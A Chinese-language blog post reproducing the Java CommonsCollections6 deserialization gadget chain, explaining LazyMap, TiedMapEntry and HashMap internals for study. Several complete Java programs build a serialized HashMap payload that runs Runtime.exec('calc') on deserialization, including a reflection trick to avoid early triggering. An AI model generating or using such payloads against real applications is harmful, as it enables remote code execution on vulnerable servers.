首页 > 编程语言 >java 反序列化 cc6 复现

java 反序列化 cc6 复现

时间:2024-10-04 12:12:03浏览次数:7  
标签:InvokerTransformer cc6 java Object null import new 序列化 class

复现环境:common-collections版本<=3.2.1,java版本随意.
我们观察java高于8u71的版本会发现sun.reflect.annotation.AnnotationInvocationHandler类被进行了修改,其中的readObject不去调用setvalue方法,而是创建了一个LinkedHashMap var7去重新进行操作,使我们之前的利用链中断.

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Map.Entry var9 = (Map.Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(objectToString(var11))).setMember((Method)var5.members().get(var10));
                }
            }
        }

        AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
        AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
    }

由于commoncollections版本没变,因此在chainedTransformer以及之前的链子不用改变,需要重新找个出口去自动调用transform方法.

源码剖析

LazyMap

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    protected final Transformer factory;

    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

    public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }
}

可以看到在get方法中调用了factory的transform方法.而decorate方法可以返回一个Map对象.
测试:

package org.example;

import java.io.*;

import com.sun.org.apache.bcel.internal.Const;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);

        String MethodName1 = "getMethod";
        Class[] ParmaType1 = {String.class, Class[].class};
        Object[] Parma1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);

        String MethodName2 = "invoke";
        Class[] ParmaType2 = {Object.class, Object[].class};
        Object[] Parma2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);

        String MethodName3 = "exec";
        Class[] ParmaType3 = {String.class};
        Object[] Parma3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);

        Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
        lazymap.get(null);
    }
}

也是成功的弹计算器了.接下来就是要找一个能够自动调用get方法的函数.

TiedMapEntry

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private final Object key;

    public TiedMapEntry(Map map, Object key) {  
        this.map = map;  
        this.key = key;  
    }
    
    public Object getValue() {
        return this.map.get(this.key);
    }
    
    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

getValue方法能够调用map的get方法,然后hashCode方法能够调用getValue方法.
测试:

package org.example;

import java.io.*;

import com.sun.org.apache.bcel.internal.Const;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);

        String MethodName1 = "getMethod";
        Class[] ParmaType1 = {String.class, Class[].class};
        Object[] Parma1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);

        String MethodName2 = "invoke";
        Class[] ParmaType2 = {Object.class, Object[].class};
        Object[] Parma2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);

        String MethodName3 = "exec";
        Class[] ParmaType3 = {String.class};
        Object[] Parma3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);

        Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        tiedMapEntry.hashCode();
    }
}

接下来就是想办法调用hashCode方法.

HashMap

只看其中几个会用到的函数

static final int hash(Object key) {  
    int h;  
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);  
}

public V put(K key, V value) {  
    return putVal(hash(key), key, value, false, true);  
}

private void readObject(ObjectInputStream s)  
    throws IOException, ClassNotFoundException {  
  
    ObjectInputStream.GetField fields = s.readFields();  
  
    // Read loadFactor (ignore threshold)  
    float lf = fields.get("loadFactor", 0.75f);  
    if (lf <= 0 || Float.isNaN(lf))  
        throw new InvalidObjectException("Illegal load factor: " + lf);  
  
    lf = Math.min(Math.max(0.25f, lf), 4.0f);  
    HashMap.UnsafeHolder.putLoadFactor(this, lf);  
  
    reinitialize();  
  
    s.readInt();                // Read and ignore number of buckets  
    int mappings = s.readInt(); // Read number of mappings (size)  
    if (mappings < 0) {  
        throw new InvalidObjectException("Illegal mappings count: " + mappings);  
    } else if (mappings == 0) {  
        // use defaults  
    } else if (mappings > 0) {  
        float fc = (float)mappings / lf + 1.0f;  
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?  
                   DEFAULT_INITIAL_CAPACITY :  
                   (fc >= MAXIMUM_CAPACITY) ?  
                   MAXIMUM_CAPACITY :  
                   tableSizeFor((int)fc));  
        float ft = (float)cap * lf;  
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?  
                     (int)ft : Integer.MAX_VALUE);  
  
        // Check Map.Entry[].class since it's the nearest public type to  
        // what we're actually creating.        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);  
        @SuppressWarnings({"rawtypes","unchecked"})  
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];  
        table = tab;  
  
        // Read the keys and values, and put the mappings in the HashMap  
        for (int i = 0; i < mappings; i++) {  
            @SuppressWarnings("unchecked")  
                K key = (K) s.readObject();  
            @SuppressWarnings("unchecked")  
                V value = (V) s.readObject();  
            putVal(hash(key), key, value, false, false);  
        }  
    }  
}

我们看到hash中调用了hashCode方法.而readObject中调用了hash方法.因此比较明了,我们只需要创建一个键为恶意的TiedMapEntry对象,值随意的HashMap,然后去触发反序列化,即可成功的执行命令.
然而这里又出现了个问题,在我们使用put方法去进行插值的时候也会触发hash方法,导致我们还没来得及将对象进行序列化就已经执行了命令.
解决方法:使用反射去进行修改.

package org.example;

import java.io.*;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ExceptionPredicate;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);

        String MethodName1 = "getMethod";
        Class[] ParmaType1 = {String.class, Class[].class};
        Object[] Parma1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);

        String MethodName2 = "invoke";
        Class[] ParmaType2 = {Object.class, Object[].class};
        Object[] Parma2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);

        String MethodName3 = "exec";
        Class[] ParmaType3 = {String.class};
        Object[] Parma3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);

        Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer(null) );
//注意这里不能为new ChainedTransformer(null),因为参数类型不匹配
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, null);

        Class clazz = lazymap.getClass();
        Field field = clazz.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazymap, chainedTransformer);
        
        serial(hashMap);
        unserial();

    }

    public static void serial(Object obj) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
        out.writeObject(obj);
    }

    public static void unserial() throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
        in.readObject();
    }
}

然而并没有像我们设想的那样去弹出计算器.
研究发现问题出在LazyMap的get方法中

public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }

在TiedMapEntry对象初始化时会调用get方法,那么就会给这个map去put一个键值对.
反序列化之前第一次经过get:
image

反序列化时第二次经过get:
image

这里的map中填了一对null的键值对,实际是在我们这个语句时指定的null,如果我们改成1的话键就是1,值就是null.因为TiedMapEntry的构造函数中只初始化了key,没有去初始化value.

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);

解决方案一:
网上给出的大多都是在序列化之前移除lazymap中的这个键值对lazymap.remove("2");
解决方案二:
我更喜欢的是更换反射修改的位置.使用反射去修改TiedMapEntry而不是LazyMap将会一举两得的解决这个问题.既避免了put的时候触发LazyMap,也避免了初始化TiedMapEntry的时候修改LazyMap.
测试:

package org.example;

import java.io.*;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ExceptionPredicate;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);

        String MethodName1 = "getMethod";
        Class[] ParmaType1 = {String.class, Class[].class};
        Object[] Parma1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);

        String MethodName2 = "invoke";
        Class[] ParmaType2 = {Object.class, Object[].class};
        Object[] Parma2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);

        String MethodName3 = "exec";
        Class[] ParmaType3 = {String.class};
        Object[] Parma3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);

        Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(LazyMap.decorate(new HashMap(), new ConstantTransformer(null)), null);

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, null);

        Class clazz = TiedMapEntry.class;
        Field field = clazz.getDeclaredField("map");
        field.setAccessible(true);
        field.set(tiedMapEntry, lazymap);

        serial(hashMap);
        unserial();

    }

    public static void serial(Object obj) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
        out.writeObject(obj);
    }

    public static void unserial() throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
        in.readObject();
    }
}

成功弹计算器.

归纳出链子

Gadget chain:
ObjectInputStream.readObject()
    HashMap.readObject()
        TiedMapEntry.hashCode()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Class.getMethod()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.getRuntime()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()

标签:InvokerTransformer,cc6,java,Object,null,import,new,序列化,class
From: https://www.cnblogs.com/meraklbz/p/18446488

相关文章

  • Java类加载器
    书接上回。。3.类加载器Java虚拟机设计团队有意把类加载阶段中的“通过一个类的全限定名来获取描述该类的二进制字节流”这个动作放到Java虚拟机外部去实现,以便让应用程序自己决定如何去获取所需的类。实现这个动作的代码被称为“类加载器”(ClassLoader)。3.1类与类加载器......
  • [Java并发]AQS的可重入性
    在Java中,AQS(AbstractQueuedSynchronizer,抽象队列同步器)通过设计一个独占和共享的同步机制,提供了可重入锁的实现。AQS的可重入性主要依赖于它对线程状态的跟踪。具体来说,可重入性是指同一个线程在获得锁之后可以多次进入(加锁多次),而不引发死锁。这是通过一个“重入计数器”来实现的......
  • [JavaScript] this 关键字
    全局作用域在浏览器中,如果在全局作用域下使用this,它将指向window对象;在Node.js环境中,则指向global对象。方法调用当一个函数作为对象的方法被调用时,this会指向该对象。constobj={name:"Alice",greet:function(){console.log(`Hello,${this.name}`)......
  • 从 JavaScript 到 OCaml:浅浅浅总结一下函数式编程
    背景这几天突击了一下Cornell的cs3110;抽了两个下午刷完了Chapter3,4,5的课后习题,很有感触。结合自己浅薄的函数式编程理解和贫瘠的JavaScript/TypeScript开发经历,总结一下自己第一阶段的函数式编程学习经历。......
  • java日总结24-10-3:mysql的基础知识
    今日学习javaweb1、了解了javaweb的概况与数据库的相关概念2、安装了mysqlMySQL的学习:1、SQL的简介:是一门操作关系型数据库的编程语言2、SQL的通用语法:单行注释:--注释内容或#注释内容;多行注释:/注释内容/3、SQL的分类:一、DDL操作数据库:创建数据库:判断是否存在创建:c......
  • 盘点五大热门JavaScript图表库,助你高效开发!
    1、Chart.jsChart.js是一个简单、灵活的图表库,支持8种图表类型(如折线图、柱状图、饼图等)。它使用HTML5Canvas元素来渲染图表,并且有良好的文档和社区支持。使用方法:npminstallchart.jsvue-chartjs然后在你的Vue组件中使用:<template><div><line-chart:data......
  • 掌握防抖与节流:如何用JavaScript封装通用函数
    在日常前端开发中,我们经常会遇到一些频繁触发的事件,如窗口调整大小、滚动条滚动、输入框输入等。为了提高页面性能和用户体验,我们需要对这些事件进行优化。本文将介绍如何使用JavaScript封装通用的防抖和节流函数。一、什么是防抖(Debounce)和节流(Throttle)?防抖(Debounce):当持续......
  • Java面向对象第四章方法重写与多态练习题
    练习1:使用重写优化电子宠物系统需求说明使用方法重写优化电子宠物系统,实现如下效果 packagecom.hz.ch02;/***猫类*@author26255**/publicclassCatextendsFather{ privateStringsex; publicCat(Stringname,inthealth,intlove,Stringse......
  • JavaWeb基础-学习笔记02
    02MySQL数据库、SQL、数据库设计、事务、JDBC1.MySQL数据库1.1MySQL的安装:包含两种安装方式,解压包安装、压缩包安装。通过解压包安装:下载压缩包后进行解压、添加my.ini初始化配置文件、添加环境变量;添加mysqld服务、启动该服务。期间遇到的一些问题和解决方案:找......
  • Java流程控制-基础语法及运用
    基本语法Scannerin=newScanner(System.in);通过Scanner类的next()与nextLine()方法获取输入的字符串,再读取前还可以进行判断是否输入了数据。next()1.一定要读取到有效字符后才可以结束输入2.对输入有效字符之前遇到的空白,next()方法会自动将其去掉3.只有输入有效字符后才可以将其......